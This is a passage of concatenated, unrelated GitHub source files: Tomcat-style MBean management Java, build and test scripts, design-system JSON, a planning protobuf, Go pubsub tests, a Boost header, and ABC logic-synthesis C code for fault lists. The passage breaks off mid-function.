String createStandardManager(String parent) throws Exception { // Create a new StandardManager instance StandardManager manager = new StandardManager(); // Add the new instance to its parent component ObjectName pname = new ObjectName(parent); Container container = getParentContainerFromParent(pname); if (container instanceof Context) { ((Context) container).setManager(manager); } else { throw new Exception(sm.getString("mBeanFactory.managerContext")); } ObjectName oname = manager.getObjectName(); if (oname != null) { return (oname.toString()); } else { return null; } } /** * Create a new UserDatabaseRealm. * * @param parent MBean Name of the associated parent component * @param resourceName Global JNDI resource name of the associated * UserDatabase * @return the object name of the created realm * * @exception Exception if an MBean cannot be created or registered */ public String createUserDatabaseRealm(String parent, String resourceName) throws Exception { // Create a new UserDatabaseRealm instance UserDatabaseRealm realm = new UserDatabaseRealm(); realm.setResourceName(resourceName); // Add the new instance to its parent component ObjectName pname = new ObjectName(parent); Container container = getParentContainerFromParent(pname); // Add the new instance to its parent component container.setRealm(realm); // Return the corresponding MBean name ObjectName oname = realm.getObjectName(); // FIXME getObjectName() returns null //ObjectName oname = // MBeanUtils.createObjectName(pname.getDomain(), realm); if (oname != null) { return (oname.toString()); } else { return null; } } /** * Create a new Valve and associate it with a {@link Container}. * * @param className The fully qualified class name of the {@link Valve} to * create * @param parent The MBean name of the associated parent * {@link Container}. * * @return The MBean name of the {@link Valve} that was created or * <code>null</code> if the {@link Valve} does not implement * {@link JmxEnabled}. * @exception Exception if an MBean cannot be created or registered */ public String createValve(String className, String parent) throws Exception { // Look for the parent ObjectName parentName = new ObjectName(parent); Container container = getParentContainerFromParent(parentName); if (container == null) { // TODO throw new IllegalArgumentException(); } Valve valve = (Valve) Class.forName(className).getConstructor().newInstance(); container.getPipeline().addValve(valve); if (valve instanceof JmxEnabled) { return ((JmxEnabled) valve).getObjectName().toString(); } else { return null; } } /** * Create a new Web Application Loader. * * @param parent MBean Name of the associated parent component * @return the object name of the created loader * * @exception Exception if an MBean cannot be created or registered */ public String createWebappLoader(String parent) throws Exception { // Create a new WebappLoader instance WebappLoader loader = new WebappLoader(); // Add the new instance to its parent component ObjectName pname = new ObjectName(parent); Container container = getParentContainerFromParent(pname); if (container instanceof Context) { ((Context) container).setLoader(loader); } // FIXME add Loader.getObjectName //ObjectName oname = loader.getObjectName(); ObjectName oname = MBeanUtils.createObjectName(pname.getDomain(), loader); return (oname.toString()); } /** * Remove an existing Connector. * * @param name MBean Name of the component to remove * * @exception Exception if a component cannot be removed */ public void removeConnector(String name) throws Exception { // Acquire a reference to the component to be removed ObjectName oname = new ObjectName(name); Service service = getService(oname); String port = oname.getKeyProperty("port"); String address = oname.getKeyProperty("address"); if (address != null) { address = ObjectName.unquote(address); } Connector conns[] = service.findConnectors(); for (int i = 0; i < conns.length; i++) { String connAddress = null; Object objConnAddress = conns[i].getProperty("address"); if (objConnAddress != null) { connAddress = ((InetAddress) objConnAddress).getHostAddress(); } String connPort = ""+conns[i].getPort(); if (address == null) { // Don't combine this with outer if or we could get an NPE in // 'else if' below if (connAddress == null && port.equals(connPort)) { service.removeConnector(conns[i]); conns[i].destroy(); break; } } else if (address.equals(connAddress) && port.equals(connPort)) { service.removeConnector(conns[i]); conns[i].destroy(); break; } } } /** * Remove an existing Context. * * @param contextName MBean Name of the component to remove * * @exception Exception if a component cannot be removed */ public void removeContext(String contextName) throws Exception { // Acquire a reference to the component to be removed ObjectName oname = new ObjectName(contextName); String domain = oname.getDomain(); StandardService service = (StandardService) getService(oname); Engine engine = (Engine) service.getContainer(); String name = oname.getKeyProperty("name"); name = name.substring(2); int i = name.indexOf('/'); String hostName = name.substring(0,i); String path = name.substring(i); ObjectName deployer = new ObjectName(domain+":type=Deployer,host="+ hostName); String pathStr = getPathStr(path); if(mserver.isRegistered(deployer)) { mserver.invoke(deployer,"addServiced", new Object[]{pathStr}, new String[] {"java.lang.String"}); mserver.invoke(deployer,"unmanageApp", new Object[] {pathStr}, new String[] {"java.lang.String"}); mserver.invoke(deployer,"removeServiced", new Object[] {pathStr}, new String[] {"java.lang.String"}); } else { log.warn("Deployer not found for "+hostName); Host host = (Host) engine.findChild(hostName); Context context = (Context) host.findChild(pathStr); // Remove this component from its parent component host.removeChild(context); if(context instanceof StandardContext) try { ((StandardContext)context).destroy(); } catch (Exception e) { log.warn("Error during context [" + context.getName() + "] destroy ", e); } } } /** * Remove an existing Host. * * @param name MBean Name of the component to remove * * @exception Exception if a component cannot be removed */ public void removeHost(String name) throws Exception { // Acquire a reference to the component to be removed ObjectName oname = new ObjectName(name); String hostName = oname.getKeyProperty("host"); Service service = getService(oname); @SuppressWarnings("deprecation") Engine engine = (Engine) service.getContainer(); Host host = (Host) engine.findChild(hostName); // Remove this component from its parent component if(host!=null) { engine.removeChild(host); } } /** * Remove an existing Loader. * * @param name MBean Name of the component to remove * * @exception Exception if a component cannot be removed */ public void removeLoader(String name) throws Exception { ObjectName oname = new ObjectName(name); // Acquire a reference to the component to be removed Container container = getParentContainerFromChild(oname); if (container instanceof Context) { ((Context) container).setLoader(null); } } /** * Remove an existing Manager. * * @param name MBean Name of the component to remove * * @exception Exception if a component cannot be removed */ public void removeManager(String name) throws Exception { ObjectName oname = new ObjectName(name); // Acquire a reference to the component to be removed Container container = getParentContainerFromChild(oname); if (container instanceof Context) { ((Context) container).setManager(null); } } /** * Remove an existing Realm. * * @param name MBean Name of the component to remove * * @exception Exception if a component cannot be removed */ public void removeRealm(String name) throws Exception { ObjectName oname = new ObjectName(name); // Acquire a reference to the component to be removed Container container = getParentContainerFromChild(oname); container.setRealm(null); } /** * Remove an existing Service. * * @param name MBean Name of the component to remove * * @exception Exception if a component cannot be removed */ public void removeService(String name) throws Exception { if (!(container instanceof Server)) { throw new Exception(); } // Acquire a reference to the component to be removed ObjectName oname = new ObjectName(name); Service service = getService(oname); ((Server) container).removeService(service); } /** * Remove an existing Valve. * * @param name MBean Name of the component to remove * * @exception Exception if a component cannot be removed */ public void removeValve(String name) throws Exception { // Acquire a reference to the component to be removed ObjectName oname = new ObjectName(name); Container container = getParentContainerFromChild(oname); Valve[] valves = container.getPipeline().getValves(); for (int i = 0; i < valves.length; i++) { ObjectName voname = ((JmxEnabled) valves[i]).getObjectName(); if (voname.equals(oname)) { container.getPipeline().removeValve(valves[i]); } } } }
{ "pile_set_name": "Github" }
project(mris_compute_lgi) install_configured(mris_compute_lgi DESTINATION bin) install(FILES ComputeGeodesicProjection.m compute_lgi.m createMeshFacesOfVertex.m dijk.m find_corresponding_center_FSformat.m freesurfer_fread3.m freesurfer_read_surf.m getFaceArea.m getFacesArea.m getMeshArea.m getOrthogonalVector.m getVerticesAndFacesInSphere.m isInGeodesicROI.m isVertexInRadius.m MakeGeodesicOuterROI.m make_outer_surface.m make_roi_paths.m mesh_adjacency.m mesh_vertex_nearest.m pred2path.m PropagateGeodesic.m read_normals.m read_ROIlabel.m redo_lgi.m reorganize_verticeslist.m SearchProjectionOnPial.m transVertexToNormalAxisBase.m write_lgi.m write_path.m DESTINATION matlab )
{ "pile_set_name": "Github" }
#!/usr/bin/env bash set -e echo "" > coverage.txt for d in $(go list ./... | grep -v vendor); do go test -race -coverprofile=profile.out -covermode=atomic "$d" if [ -f profile.out ]; then cat profile.out >> coverage.txt rm profile.out fi done
{ "pile_set_name": "Github" }
{ "company": { "data": "cloudflare", "label": "company" }, "system": { "data": "cf-ui", "deprecated": "no", "url": "https://cloudflare.github.io/cf-ui/", "label": "system" }, "repository": { "data": "GitHub", "url": "https://github.com/cloudflare/cf-ui", "label": "repository" }, "codeDepth": { "data": "HTML/CSS/JS", "label": "code depth" }, "components": { "data": "yes", "label": "components" }, "js": { "data": "React", "label": "JS library/framework" }, "ts": { "data": "no", "label": "typescript" }, "webComponents": { "data": "no", "label": "web components" }, "tests": { "data": [ "Jest", "Enzyme" ], "label": "tests" }, "linter": { "data": "ESLint", "label": "linter" }, "css": { "data": "Fela", "label": "CSS" }, "cssInjs": { "data": "yes", "label": "CSS in JS" }, "designTokens": { "data": "no", "label": "design tokens" }, "bundleManager": { "data": "no", "label": "bundle manager" }, "uiKit": { "data": "no", "url": "", "label": "UI kit" }, "brandGuidelines": { "data": "no", "url": "", "label": "brand guidelines" }, "colorPalette": { "data": "yes", "url": "https://cloudflare.github.io/cf-ui/#cf-design-colors", "label": "color palette" }, "colorNaming": { "data": "abstract (e.g. grass)", "label": "color naming" }, "contrastAnalysis": { "data": "no", "url": "", "label": "contrast analysis" }, "typography": { "data": "no", "url": "", "label": "typography" }, "icons": { "data": "SVG", "url": "https://cloudflare.github.io/cf-ui/#cf-design-icons", "label": "icons" }, "space/Grid": { "data": "no", "url": "", "label": "space / grid" }, "illustrations": { "data": "no", "url": "", "label": "illustration" }, "dataVisualization": { "data": "no", "url": "", "label": "data visualization" }, "animation": { "data": "no", "url": "", "label": "animation" }, "voiceTone": { "data": "no", "url": "", "label": "voice & tone" }, "accessibilityGuidelines": { "data": "no", "url": "", "label": "accessibility guidelines" }, "designPrinciples": { "data": "no", "url": "", "label": "design principles" }, "websiteDocumentation": { "data": "yes", "url": "https://cloudflare.github.io/cf-ui/#cf-component-page", "label": "documentation website" }, "codeDocumentation": { "data": "Markdown", "url": "https://github.com/cloudflare/cf-ui/blob/master/packages/cf-component-dropdown/README.md", "label": "code documentation" }, "storybook": { "data": "no", "url": "", "label": "storybook" }, "distribution": { "data": [ "Yarn", "Lerna" ], "label": "distribution" } }
{ "pile_set_name": "Github" }
https://github.com/mozilla/pdf.js/files/2927954/FOX.ALEXANDER.F.VS.FOX.BARBARA.E.2015-004684-FC-04.Doc-46-Memorandum-of-Law.Fla.11th.Cir.Ct.May.31.2016.pdf
{ "pile_set_name": "Github" }
syntax = "proto2"; package apollo.planning; // create the quadratic programming proto // 1/2 x^T Q x + c^T x // w.r.t // A x = b // C x >= d // specified input: input_marker // as well as optimal solution optimal param message QuadraticProgrammingProblem { optional int32 param_size = 1; // specified parameter size optional QPMatrix quadratic_matrix = 2; // Q matrix repeated double bias = 3; // c optional QPMatrix equality_matrix = 4; // A matrix repeated double equality_value = 5; // b vector optional QPMatrix inequality_matrix = 6; // C matrix repeated double inequality_value = 7; // d vector repeated double input_marker = 8; // marker for the specified matrix repeated double optimal_param = 9; // optimal result }; message QPMatrix { optional int32 row_size = 1; optional int32 col_size = 2; // element with element(col_size * r + c) repeated double element = 3; } message QuadraticProgrammingProblemSet { repeated QuadraticProgrammingProblem problem = 1; // QPProblem }
{ "pile_set_name": "Github" }
package pubsub import ( "fmt" "testing" "time" ) func TestSendToOneSub(t *testing.T) { p := NewPublisher(100*time.Millisecond, 10) c := p.Subscribe() p.Publish("hi") msg := <-c if msg.(string) != "hi" { t.Fatalf("expected message hi but received %v", msg) } } func TestSendToMultipleSubs(t *testing.T) { p := NewPublisher(100*time.Millisecond, 10) subs := []chan interface{}{} subs = append(subs, p.Subscribe(), p.Subscribe(), p.Subscribe()) p.Publish("hi") for _, c := range subs { msg := <-c if msg.(string) != "hi" { t.Fatalf("expected message hi but received %v", msg) } } } func TestEvictOneSub(t *testing.T) { p := NewPublisher(100*time.Millisecond, 10) s1 := p.Subscribe() s2 := p.Subscribe() p.Evict(s1) p.Publish("hi") if _, ok := <-s1; ok { t.Fatal("expected s1 to not receive the published message") } msg := <-s2 if msg.(string) != "hi" { t.Fatalf("expected message hi but received %v", msg) } } func TestClosePublisher(t *testing.T) { p := NewPublisher(100*time.Millisecond, 10) subs := []chan interface{}{} subs = append(subs, p.Subscribe(), p.Subscribe(), p.Subscribe()) p.Close() for _, c := range subs { if _, ok := <-c; ok { t.Fatal("expected all subscriber channels to be closed") } } } const sampleText = "test" type testSubscriber struct { dataCh chan interface{} ch chan error } func (s *testSubscriber) Wait() error { return <-s.ch } func newTestSubscriber(p *Publisher) *testSubscriber { ts := &testSubscriber{ dataCh: p.Subscribe(), ch: make(chan error), } go func() { for data := range ts.dataCh { s, ok := data.(string) if !ok { ts.ch <- fmt.Errorf("Unexpected type %T", data) break } if s != sampleText { ts.ch <- fmt.Errorf("Unexpected text %s", s) break } } close(ts.ch) }() return ts } // for testing with -race func TestPubSubRace(t *testing.T) { p := NewPublisher(0, 1024) var subs [](*testSubscriber) for j := 0; j < 50; j++ { subs = append(subs, newTestSubscriber(p)) } for j := 0; j < 1000; j++ { p.Publish(sampleText) } time.AfterFunc(1*time.Second, func() { for _, s := range subs { p.Evict(s.dataCh) } }) for _, s := range subs { s.Wait() } } func BenchmarkPubSub(b *testing.B) { for i := 0; i < b.N; i++ { b.StopTimer() p := NewPublisher(0, 1024) var subs [](*testSubscriber) for j := 0; j < 50; j++ { subs = append(subs, newTestSubscriber(p)) } b.StartTimer() for j := 0; j < 1000; j++ { p.Publish(sampleText) } time.AfterFunc(1*time.Second, func() { for _, s := range subs { p.Evict(s.dataCh) } }) for _, s := range subs { if err := s.Wait(); err != nil { b.Fatal(err) } } } }
{ "pile_set_name": "Github" }
/*============================================================================= Copyright (c) 2001-2008 Joel de Guzman Copyright (c) 2001-2008 Hartmut Kaiser http://spirit.sourceforge.net/ Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) =============================================================================*/ #ifndef BOOST_SPIRIT_INCLUDE_CLASSIC_BASIC_CHSET #define BOOST_SPIRIT_INCLUDE_CLASSIC_BASIC_CHSET #include <boost/spirit/home/classic/utility/impl/chset/basic_chset.hpp> #endif
{ "pile_set_name": "Github" }
/**CFile**************************************************************** FileName [abcDetect.c] SystemName [ABC: Logic synthesis and verification system.] PackageName [Network and node package.] Synopsis [Detect conditions.] Author [Alan Mishchenko, Dao Ai Quoc] Affiliation [UC Berkeley] Date [Ver. 1.0. Started - June 7, 2016.] Revision [$Id: abcDetect.c,v 1.00 2016/06/07 00:00:00 alanmi Exp $] ***********************************************************************/ #include "base/abc/abc.h" #include "misc/vec/vecHsh.h" #include "misc/util/utilNam.h" #include "sat/cnf/cnf.h" #include "sat/bsat/satStore.h" #include "map/mio/mio.h" #include "map/mio/exp.h" ABC_NAMESPACE_IMPL_START //////////////////////////////////////////////////////////////////////// /// DECLARATIONS /// //////////////////////////////////////////////////////////////////////// typedef enum { ABC_FIN_NONE = -100, // 0: unknown ABC_FIN_SA0, // 1: ABC_FIN_SA1, // 2: ABC_FIN_NEG, // 3: ABC_FIN_RDOB_AND, // 4: ABC_FIN_RDOB_NAND, // 5: ABC_FIN_RDOB_OR, // 6: ABC_FIN_RDOB_NOR, // 7: ABC_FIN_RDOB_XOR, // 8: ABC_FIN_RDOB_NXOR, // 9: ABC_FIN_RDOB_NOT, // 10: ABC_FIN_RDOB_BUFF, // 11: ABC_FIN_RDOB_LAST // 12: } Abc_FinType_t; //////////////////////////////////////////////////////////////////////// /// FUNCTION DEFINITIONS /// //////////////////////////////////////////////////////////////////////// /**Function************************************************************* Synopsis [Generates fault list for the given mapped network.] Description [] SideEffects [] SeeAlso [] ***********************************************************************/ void Abc_NtkGenFaultList( Abc_Ntk_t * pNtk, char * pFileName, int fStuckAt ) { Mio_Library_t * pLib = (Mio_Library_t *)pNtk->pManFunc; Mio_Gate_t * pGate; Abc_Obj_t * pObj; int i, Count = 1; FILE * pFile = fopen( pFileName, "wb" ); if ( pFile == NULL ) { printf( "Cannot open file \"%s\" for writing.\n", pFileName ); return; } assert( Abc_NtkIsMappedLogic(pNtk) ); Abc_NtkForEachNode( pNtk, pObj, i ) { Mio_Gate_t * pGateObj = (Mio_Gate_t *)pObj->pData; int nInputs = Mio_GateReadPinNum(pGateObj); // add basic faults (SA0, SA1, NEG) fprintf( pFile, "%d %s %s\n", Count, Abc_ObjName(pObj), "SA0" ), Count++; fprintf( pFile, "%d %s %s\n", Count, Abc_ObjName(pObj), "SA1" ), Count++; fprintf( pFile, "%d %s %s\n", Count, Abc_ObjName(pObj), "NEG" ), Count++; if ( fStuckAt ) continue; // add other faults, which correspond to changing the given gate // by another gate with the same support-size from the same library Mio_LibraryForEachGate( pLib, pGate ) if ( pGate != pGateObj && Mio_GateReadPinNum(pGate) == nInputs ) fprintf( pFile, "%d %s %s\n", Count, Abc_ObjName(pObj), Mio_GateReadName(pGate) ), Count++; } printf( "Generated fault list \"%s\" for network \"%s\" with %d nodes and %d %sfaults.\n", pFileName, Abc_NtkName(pNtk), Abc_NtkNodeNum(pNtk), Count-1, fStuckAt ? "stuck-at ":"" ); fclose( pFile ); } /**Function************************************************************* Synopsis [Recognize type.] Description [] SideEffects [] SeeAlso [] ***********************************************************************/ int Io_ReadFinTypeMapped( Mio_Library_t * pLib, char * pThis ) { Mio_Gate_t * pGate = Mio_LibraryReadGateByName( pLib, pThis, NULL ); if ( pGate == NULL ) { printf( "Cannot find gate \"%s\" in the current library.\n", pThis ); return ABC_FIN_NONE; } return Mio_GateReadCell( pGate ); } int Io_ReadFinType( char * pThis ) { if ( !strcmp(pThis, "SA0") ) return ABC_FIN_SA0; if ( !strcmp(pThis, "SA1") ) return ABC_FIN_SA1; if ( !strcmp(pThis, "NEG") ) return ABC_FIN_NEG; if ( !strcmp(pThis, "RDOB_AND") ) return ABC_FIN_RDOB_AND; if ( !strcmp(pThis, "RDOB_NAND") ) return ABC_FIN_RDOB_NAND; if ( !strcmp(pThis, "RDOB_OR") ) return ABC_FIN_RDOB_OR; if ( !strcmp(pThis, "RDOB_NOR") ) return ABC_FIN_RDOB_NOR; if ( !strcmp(pThis, "RDOB_XOR") ) return ABC_FIN_RDOB_XOR; if ( !strcmp(pThis, "RDOB_NXOR") ) return ABC_FIN_RDOB_NXOR; if ( !strcmp(pThis, "RDOB_NOT") ) return ABC_FIN_RDOB_NOT; if ( !strcmp(pThis, "RDOB_BUFF") ) return ABC_FIN_RDOB_BUFF; return ABC_FIN_NONE; } char * Io_WriteFinType( int Type ) { if ( Type == ABC_FIN_SA0 ) return "SA0"; if ( Type == ABC_FIN_SA1 ) return "SA1"; if ( Type == ABC_FIN_NEG ) return "NEG"; if ( Type == ABC_FIN_RDOB_AND ) return "RDOB_AND" ; if ( Type == ABC_FIN_RDOB_NAND ) return "RDOB_NAND"; if ( Type == ABC_FIN_RDOB_OR ) return "RDOB_OR" ; if ( Type == ABC_FIN_RDOB_NOR ) return "RDOB_NOR" ; if ( Type == ABC_FIN_RDOB_XOR ) return "RDOB_XOR" ; if ( Type == ABC_FIN_RDOB_NXOR ) return "RDOB_NXOR"; if ( Type == ABC_FIN_RDOB_NOT ) return "RDOB_NOT" ; if ( Type == ABC_FIN_RDOB_BUFF ) return "RDOB_BUFF"; return "Unknown"; } /**Function************************************************************* Synopsis [Read information from file.] Description [Returns information as a set of pairs: (ObjId, TypeId). Uses the current network to map ObjName given in the file into ObjId.] SideEffects [] SeeAlso [] ***********************************************************************/ Vec_Int_t * Io_ReadFins( Abc_Ntk_t * pNtk, char * pFileName, int fVerbose ) { Mio_Library_t * pLib = (Mio_Library_t *)pNtk->pManFunc; char Buffer[1000]; Abc_Obj_t * pObj; Abc_Nam_t * pNam; Vec_Int_t * vMap; Vec_Int_t * vPairs = NULL; int i, Type, iObj, fFound, nLines = 1; FILE * pFile = fopen( pFileName, "r" ); if ( pFile == NULL ) { printf( "Cannot open input file \"%s\" for reading.\n", pFileName ); return NULL; } // map CI/node names into their IDs pNam = Abc_NamStart( 1000, 10 ); vMap = Vec_IntAlloc( 1000 ); Vec_IntPush( vMap, -1 ); Abc_NtkForEachObj( pNtk, pObj, i ) { if ( !Abc_ObjIsCi(pObj) && !Abc_ObjIsNode(pObj) ) continue; Abc_NamStrFindOrAdd( pNam, Abc_ObjName(pObj), &fFound ); if ( fFound ) { printf( "The same name \"%s\" appears twice among CIs and internal nodes.\n", Abc_ObjName(pObj) ); goto finish; } Vec_IntPush( vMap, Abc_ObjId(pObj) ); } assert( Vec_IntSize(vMap) == Abc_NamObjNumMax(pNam) ); // read file lines vPairs = Vec_IntAlloc( 1000 ); Vec_IntPushTwo( vPairs, -1, -1 ); while ( fgets(Buffer, 1000, pFile) != NULL ) { // read line number char * pToken = strtok( Buffer, " \n\r\t" ); if ( pToken == NULL ) break; if ( nLines++ != atoi(pToken) ) { printf( "Line numbers are not consecutive. Quitting.\n" ); Vec_IntFreeP( &vPairs ); goto finish; } // read object name and find its ID pToken = strtok( NULL, " \n\r\t" ); iObj = Abc_NamStrFind( pNam, pToken ); if ( !iObj ) { printf( "Cannot find object with name \"%s\".\n", pToken ); continue; } // read type pToken = strtok( NULL, " \n\r\t" ); if ( Abc_NtkIsMappedLogic(pNtk) ) { if ( !strcmp(pToken, "SA0") || !strcmp(pToken, "SA1") || !strcmp(pToken, "NEG") ) Type = Io_ReadFinType( pToken ); else Type = Io_ReadFinTypeMapped( pLib, pToken ); } else Type = Io_ReadFinType( pToken ); if ( Type == ABC_FIN_NONE ) { printf( "Cannot read type \"%s\" of object \"%s\".\n", pToken, Abc_ObjName(Abc_NtkObj(pNtk, iObj)) ); continue; } Vec_IntPushTwo( vPairs, Vec_IntEntry(vMap, iObj), Type ); } assert( Vec_IntSize(vPairs) == 2 * nLines ); printf( "Finished reading %d lines from the fault list file \"%s\".\n", nLines - 1, pFileName ); // verify the reader by printing the results if ( fVerbose ) Vec_IntForEachEntryDoubleStart( vPairs, iObj, Type, i, 2 ) printf( "%-10d%-10s%-10s\n", i/2, Abc_ObjName(Abc_NtkObj(pNtk, iObj)), Io_WriteFinType(Type) ); finish: Vec_IntFree( vMap ); Abc_NamDeref( pNam ); fclose( pFile ); return vPairs; } /**Function************************************************************* Synopsis [Extend the network by adding second timeframe.] Description [] SideEffects [] SeeAlso [] ***********************************************************************/ void Abc_NtkFrameExtend( Abc_Ntk_t * pNtk ) { Vec_Ptr_t * vFanins, * vNodes; Abc_Obj_t * pObj, * pFanin, * pReset, * pEnable, * pSignal; Abc_Obj_t * pResetN, * pEnableN, * pAnd0, * pAnd1, * pMux; int i, k, iStartPo, nPisOld = Abc_NtkPiNum(pNtk), nPosOld = Abc_NtkPoNum(pNtk); // skip if there are no flops if ( pNtk->nConstrs == 0 ) return; assert( Abc_NtkPiNum(pNtk) >= pNtk->nConstrs ); assert( Abc_NtkPoNum(pNtk) >= pNtk->nConstrs * 4 ); // collect nodes vNodes = Vec_PtrAlloc( Abc_NtkNodeNum(pNtk) ); Abc_NtkForEachNode( pNtk, pObj, i ) Vec_PtrPush( vNodes, pObj ); // duplicate PIs vFanins = Vec_PtrAlloc( 2 ); Abc_NtkForEachPi( pNtk, pObj, i ) { if ( i == nPisOld ) break; if ( i < nPisOld - pNtk->nConstrs ) { Abc_NtkDupObj( pNtk, pObj, 0 ); Abc_ObjAssignName( pObj->pCopy, Abc_ObjName(pObj), "_frame1" ); continue; } // create flop input iStartPo = nPosOld + 4 * (i - nPisOld); pReset = Abc_ObjFanin0( Abc_NtkPo( pNtk, iStartPo + 1 ) ); pEnable = Abc_ObjFanin0( Abc_NtkPo( pNtk, iStartPo + 2 ) ); pSignal = Abc_ObjFanin0( Abc_NtkPo( pNtk, iStartPo + 3 ) ); pResetN = Abc_NtkCreateNodeInv( pNtk, pReset ); pEnableN = Abc_NtkCreateNodeInv( pNtk, pEnable ); Vec_PtrFillTwo( vFanins, 2, pEnableN, pObj ); pAnd0 = Abc_NtkCreateNodeAnd( pNtk, vFanins ); Vec_PtrFillTwo( vFanins, 2, pEnable, pSignal ); pAnd1 = Abc_NtkCreateNodeAnd( pNtk, vFanins ); Vec_PtrFillTwo( vFanins, 2, pAnd0, pAnd1 ); pMux = Abc_NtkCreateNodeOr( pNtk, vFanins ); Vec_PtrFillTwo( vFanins, 2, pResetN, pMux ); pObj->pCopy = Abc_NtkCreateNodeAnd( pNtk, vFanins ); } // duplicate internal nodes Vec_PtrForEachEntry( Abc_Obj_t *, vNodes, pObj, i ) Abc_NtkDupObj( pNtk, pObj, 0 ); // connect objects Vec_PtrForEachEntry( Abc_Obj_t *, vNodes, pObj, i ) Abc_ObjForEachFanin( pObj, pFanin, k ) Abc_ObjAddFanin( pObj->pCopy, pFanin->pCopy ); // create new POs and reconnect flop inputs Abc_NtkForEachPo( pNtk, pObj, i ) { if ( i == nPosOld ) break; if ( i < nPosOld - 4 * pNtk->nConstrs ) { Abc_NtkDupObj( pNtk, pObj, 0 ); Abc_ObjAssignName( pObj->pCopy, Abc_ObjName(pObj), "_frame1" ); Abc_ObjAddFanin( pObj->pCopy, Abc_ObjFanin0(pObj)->pCopy ); continue; } Abc_ObjPatchFanin( pObj, Abc_ObjFanin0(pObj), Abc_ObjFanin0(pObj)->pCopy ); } Vec_PtrFree( vFanins ); Vec_PtrFree( vNodes ); } /**Function************************************************************* Synopsis [Detect equivalence classes of nodes in terms of their TFO.] Description [Given is the logic network (pNtk) and the set of objects (primary inputs or internal nodes) to be considered (vObjs), this function returns a set of equivalence classes of these objects in terms of their transitive fanout (TFO). Two objects belong to the same class if the set of COs they feed into are the same.] SideEffects [] SeeAlso [] ***********************************************************************/ int Abc_NtkDetectObjClasses_rec( Abc_Obj_t * pObj, Vec_Int_t * vMap, Hsh_VecMan_t * pHash, Vec_Int_t * vTemp ) { Vec_Int_t * vArray, * vSet; Abc_Obj_t * pNext; int i; // get the CO set for this object int Entry = Vec_IntEntry(vMap, Abc_ObjId(pObj)); if ( Entry != -1 ) // the set is already computed return Entry; // compute a new CO set assert( Abc_ObjIsCi(pObj) || Abc_ObjIsNode(pObj) ); // if there is no fanouts, the set of COs is empty if ( Abc_ObjFanoutNum(pObj) == 0 ) { Vec_IntWriteEntry( vMap, Abc_ObjId(pObj), 0 ); return 0; } // compute the set for the first fanout Entry = Abc_NtkDetectObjClasses_rec( Abc_ObjFanout0(pObj), vMap, pHash, vTemp ); if ( Abc_ObjFanoutNum(pObj) == 1 ) { Vec_IntWriteEntry( vMap, Abc_ObjId(pObj), Entry ); return Entry; } vSet = Vec_IntAlloc( 16 ); // initialize the set with that of first fanout vArray = Hsh_VecReadEntry( pHash, Entry ); Vec_IntClear( vSet ); Vec_IntAppend( vSet, vArray ); // iteratively add sets of other fanouts Abc_ObjForEachFanout( pObj, pNext, i ) { if ( i == 0 ) continue; Entry = Abc_NtkDetectObjClasses_rec( pNext, vMap, pHash, vTemp ); vArray = Hsh_VecReadEntry( pHash, Entry ); Vec_IntTwoMerge2( vSet, vArray, vTemp ); ABC_SWAP( Vec_Int_t, *vSet, *vTemp ); } // create or find new set and map the object into it Entry = Hsh_VecManAdd( pHash, vSet ); Vec_IntWriteEntry( vMap, Abc_ObjId(pObj), Entry ); Vec_IntFree( vSet ); return Entry; } Vec_Wec_t * Abc_NtkDetectObjClasses( Abc_Ntk_t * pNtk, Vec_Int_t * vObjs, Vec_Wec_t ** pvCos ) { Vec_Wec_t * vClasses; // classes of equivalence objects from vObjs Vec_Int_t * vClassMap; // mapping of each CO set into its class in vClasses Vec_Int_t * vClass; // one equivalence class Abc_Obj_t * pObj; int i, iObj, SetId, ClassId; // create hash table to hash sets of CO indexes Hsh_VecMan_t * pHash = Hsh_VecManStart( 1000 ); // create elementary sets (each composed of one CO) and map COs into them Vec_Int_t * vMap = Vec_IntStartFull( Abc_NtkObjNumMax(pNtk) ); Vec_Int_t * vSet = Vec_IntAlloc( 16 ); assert( Abc_NtkIsLogic(pNtk) ); // compute empty set SetId = Hsh_VecManAdd( pHash, vSet ); assert( SetId == 0 ); Abc_NtkForEachCo( pNtk, pObj, i ) { Vec_IntFill( vSet, 1, Abc_ObjId(pObj) ); SetId = Hsh_VecManAdd( pHash, vSet ); Vec_IntWriteEntry( vMap, Abc_ObjId(pObj), SetId ); } // make sure the array of objects is sorted Vec_IntSort( vObjs, 0 ); // begin from the objects and map their IDs into sets of COs Abc_NtkForEachObjVec( vObjs, pNtk, pObj, i ) Abc_NtkDetectObjClasses_rec( pObj, vMap, pHash, vSet ); Vec_IntFree( vSet ); // create map for mapping CO set its their classes vClassMap = Vec_IntStartFull( Hsh_VecSize(pHash) + 1 ); // collect classes of objects vClasses = Vec_WecAlloc( 1000 ); Vec_IntForEachEntry( vObjs, iObj, i ) { //char * pName = Abc_ObjName( Abc_NtkObj(pNtk, iObj) ); // for a given object (iObj), find the ID of its COs set SetId = Vec_IntEntry( vMap, iObj ); assert( SetId >= 0 ); // for the given CO set, finds its equivalence class ClassId = Vec_IntEntry( vClassMap, SetId ); if ( ClassId == -1 ) // there is no equivalence class { // map this CO set into a new equivalence class Vec_IntWriteEntry( vClassMap, SetId, Vec_WecSize(vClasses) ); vClass = Vec_WecPushLevel( vClasses ); } else // get hold of the equivalence class vClass = Vec_WecEntry( vClasses, ClassId ); // add objects to the class Vec_IntPush( vClass, iObj ); // print the set for this object //printf( "Object %5d : ", iObj ); //Vec_IntPrint( Hsh_VecReadEntry(pHash, SetId) ); } // collect arrays of COs for each class *pvCos = Vec_WecStart( Vec_WecSize(vClasses) ); Vec_WecForEachLevel( vClasses, vClass, i ) { iObj = Vec_IntEntry( vClass, 0 ); // for a given object (iObj), find the ID of its COs set SetId = Vec_IntEntry( vMap, iObj ); assert( SetId >= 0 ); // for the given CO set ID, find the set vSet = Hsh_VecReadEntry( pHash, SetId ); Vec_IntAppend( Vec_WecEntry(*pvCos, i), vSet ); } Hsh_VecManStop( pHash ); Vec_IntFree( vClassMap ); Vec_IntFree( vMap ); return vClasses; } void Abc_NtkDetectClassesTest2( Abc_Ntk_t * pNtk, int fVerbose, int fVeryVerbose ) { Vec_Int_t * vObjs; Vec_Wec_t * vRes, * vCos; // for testing, create the set of object IDs for all combinational inputs (CIs) Abc_Obj_t * pObj; int i; vObjs = Vec_IntAlloc( Abc_NtkCiNum(pNtk) ); Abc_NtkForEachCi( pNtk, pObj, i ) Vec_IntPush( vObjs, Abc_ObjId(pObj) ); // compute equivalence classes of CIs and print them vRes = Abc_NtkDetectObjClasses( pNtk, vObjs, &vCos ); Vec_WecPrint( vRes, 0 